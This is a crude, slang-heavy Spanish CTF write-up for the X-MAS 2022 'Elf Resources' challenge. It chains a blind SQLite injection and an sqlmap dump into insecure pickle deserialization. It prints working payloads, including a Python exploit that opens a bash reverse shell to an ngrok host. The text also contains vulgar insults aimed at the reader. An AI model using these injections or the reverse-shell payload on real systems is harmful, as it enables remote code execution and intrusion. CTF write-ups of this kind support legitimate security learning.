X-MAS CTF 2022 - 🧝 Elf Resources
Papa Noel rata
Parece ser que Papa Noel anduvo ratoneando con el presupuesto y contrato un par de devs medio pelo para que le levanten el sitio. Es muy probable que este mas roto que el orto de tu hermana, así que le vamos a abrir las cachas para catearlo un poco.
A primera vista tenemos una hermosa pagina donde llueve merca, esto me hace sentir como en navidad. En un ratito nos damos cuenta que la aplicación se chupa 3 ID’s y muestra un mensaje diferente para cada uno.
Que lindo el gordo del octavo patinando.
Blind SQLite Injection
Después de fuzzear un rato a manopla, llegue a la conclusion de que se comía un SQL Injection
. Estos devs del 2010 que nunca mas volvieron a laburar.
http://challs.htsp.ro:13001/1+1
Aclaro que el string Helping Santa
corresponde al ID 2.
A darle matraca.
Como la aplicación no retornaba ningún tipo de error que revelara información sobre el DBMS, me decante por una SQLite Injection
. Por que?.. por que es una app en Python
y lo mas probable es que estén conectando con SQLite
.
La inyección es sencilla, un IF que devuelve 2 si esta todo OK, por lo tanto se va a mostrar el mensaje Helping Santa
y si ta todo mal muestra el string Looking at the naughty list
que corresponde al ID 3. Verdadero o Falso papu, es verdad que te garchaste a tu prima?.
http://challs.htsp.ro:13001/(SELECT%20IIF(1=1,2,3))
Ahora, después de intentar sacar un Union Based, Error Based o algo que no sea Blind, termine chupandole la pija a SQLmap
. Estaba mas que claro que tenia que jugar al no vidente. Alta paja amigo.
Dumpeamos todo y a la verga.
$ sqlmap -u http://challs.htsp.ro:13001/\(SELECT%20IIF\(1\=1\*,2,3\)\) --prefix="" --dbms=sqlite3 --technique=B -vv --string="Helping Santa" --dump-all
Pickle y la concha de tu madre.
Acá es donde me rebusque demasiado con algo tan simple. Claramente tenia el contenido de la tabla elves
.
Table: elves
[3 entries]
+----+------------------------------------------------------------------------------------------------------------------------------------------+
| id | data |
+----+------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | gASVUAAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwJU25vd2ZsYWtllIwIYWN0aXZpdHmUjA1QYWNraW5nIGdpZnRzlIwCaWSUTnViLg== |
| 2 | gASVSwAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwEQmVsbJSMCGFjdGl2aXR5lIwNSGVscGluZyBTYW50YZSMAmlklE51Yi4= |
| 3 | gASVWgAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwFU25vd3mUjAhhY3Rpdml0eZSMG0xvb2tpbmcgYXQgdGhlIG5hdWdodHkgbGlzdJSMAmlklE51Yi4= |
+----+------------------------------------------------------------------------------------------------------------------------------------------+
Listo digo, en alguno de esos base64
tiene que estar el flag
, a decodear. La chota.
$ echo -n "gASVWgAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwFU25vd3mUjAhhY3Rpdml0eZSMG0xvb2tpbmcgYXQgdGhlIG5hdWdodHkgbGlzdJSMAmlklE51Yi4="|base64 -d | xxd
00000000: 8004 955a 0000 0000 0000 008c 085f 5f6d ...Z.........__m
00000010: 6169 6e5f 5f94 8c03 456c 6694 9394 2981 ain__...Elf...).
00000020: 947d 9428 8c04 6e61 6d65 948c 0553 6e6f .}.(..name...Sno
00000030: 7779 948c 0861 6374 6976 6974 7994 8c1b wy...activity...
00000040: 4c6f 6f6b 696e 6720 6174 2074 6865 206e Looking at the n
00000050: 6175 6768 7479 206c 6973 7494 8c02 6964 aughty list...id
00000060: 944e 7562 2e .Nub.
Que poronga es esto?.
La verdad, estuve un rato largo para darme cuenta de que eso era un objeto serializado.
Hasta que mas o menos me avive, por que pensaba que podía ser, hice la prueba de fuego.
>>> import pickle
>>> from base64 import b64decode
>>> pickle.loads(b64decode(b'gASVWgAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwFU25vd3mUjAhhY3Rpdml0eZSMG0xvb2tpbmcgYXQgdGhlIG5hdWdodHkgbGlzdJSMAmlklE51Yi4='))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: Can't get attribute 'Elf' on <module '__main__' (built-in)>
Bueno acá hubo un fail y es que según stackoverflow
tiene que estar como mínimo definida la clase Elf
.
Gracias por tanto stackoverflow
y perdón por tan poco.
>>> class Elf:
... pass
...
>>> elf = pickle.loads(b64decode(b'gASVWgAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwFU25vd3mUjAhhY3Rpdml0eZSMG0xvb2tpbmcgYXQgdGhlIG5hdWdodHkgbGlzdJSMAmlklE51Yi4='))
>>>
>>> dir(elf)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'activity', 'id', 'name']
>>> elf.name, elf.activity, elf.id
('Snowy', 'Looking at the naughty list', None)
Muchaaachoooss esta noche quiero un Reverse Shell
Primero lo primero, podemos decirle a la app: Deserializamela
?.
Si, por medio de la bendita SQLite Injection
. Metemos un UNION SELECT
y forzamos a que la app tome el primer valor con LIMIT
, que seria nuestro objeto serializado.
Algo asi:
1 UNION SELECT <falopa64> LIMIT 1
Vamos a modificar unos valores en el objeto Elf
para probar, lo serializamos y lo inyectamos como loco.
>>> from base64 import b64encode
>>> elf.name = 'Messi'
>>> elf.activity = 'Que mira bobo'
>>> elf.id = None
>>> b64encode(pickle.dumps(elf))
b'gASVTAAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwFTWVzc2mUjAhhY3Rpdml0eZSMDVF1ZSBtaXJhIGJvYm+UjAJpZJROdWIu'
>>>
Mandaleee meeechaaaa.
http://challs.htsp.ro:13001/1%20UNION%20SELECT%20'gASVTAAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwFTWVzc2mUjAhhY3Rpdml0eZSMDVF1ZSBtaXJhIGJvYm+UjAJpZJROdWIu'%20LIMIT%201
Que leendoo.
Bueno vamos directo al exploit así nos tiramos un Reverse Shell que ya me da japa seguir escribiendo.
import pickle, os
from base64 import b64encode
class QuemiraBoboooo(object): # bobo el que lee
def __reduce__(self):
return(os.system,("bash -c 'bash -i >& /dev/tcp/0.tcp.sa.ngrok.io/18840 0>&1'",))
falopa64 = b64encode(pickle.dumps(QuemiraBoboooo()))
print(falopa64)
Simplemente creamos el objeto QuemiraBoboooo
y definimos el método __reduce__
. Según me dijo mi profesor de serializaciones este método loco tiene que retornar un string
o en este caso una tupla
. El primer elemento de la tupla
tiene que ser un objeto invocable os.system
, lo mas loco es que este objeto se va a llamar durante el unpickling
. Lo que sigue son los argumentos del objeto, en este caso nuestro reverse shell.
bash -c 'bash -i >& /dev/tcp/0.tcp.sa.ngrok.io/18840 0>&1'
Después dumpeamos QuemiraBoboooo
con pickle
y lo codificamos en base64
.
Y a soplar la vela.
$ python3 exploit.py
b'gASVVQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDpiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzAudGNwLnNhLm5ncm9rLmlvLzE4ODQwIDA+JjEnlIWUUpQu'
http://challs.htsp.ro:13001/1%20UNION%20SELECT%20'gASVVQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDpiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzAudGNwLnNhLm5ncm9rLmlvLzE4ODQwIDA+JjEnlIWUUpQu'%20LIMIT%201
X-MAS{3Lf_HuM4n_R350urC35_w1lL_83_C0n74C71N9_Y0u_500n}
Feli navida, no usen pickle, escabien mucho, metanle clona a la abuela.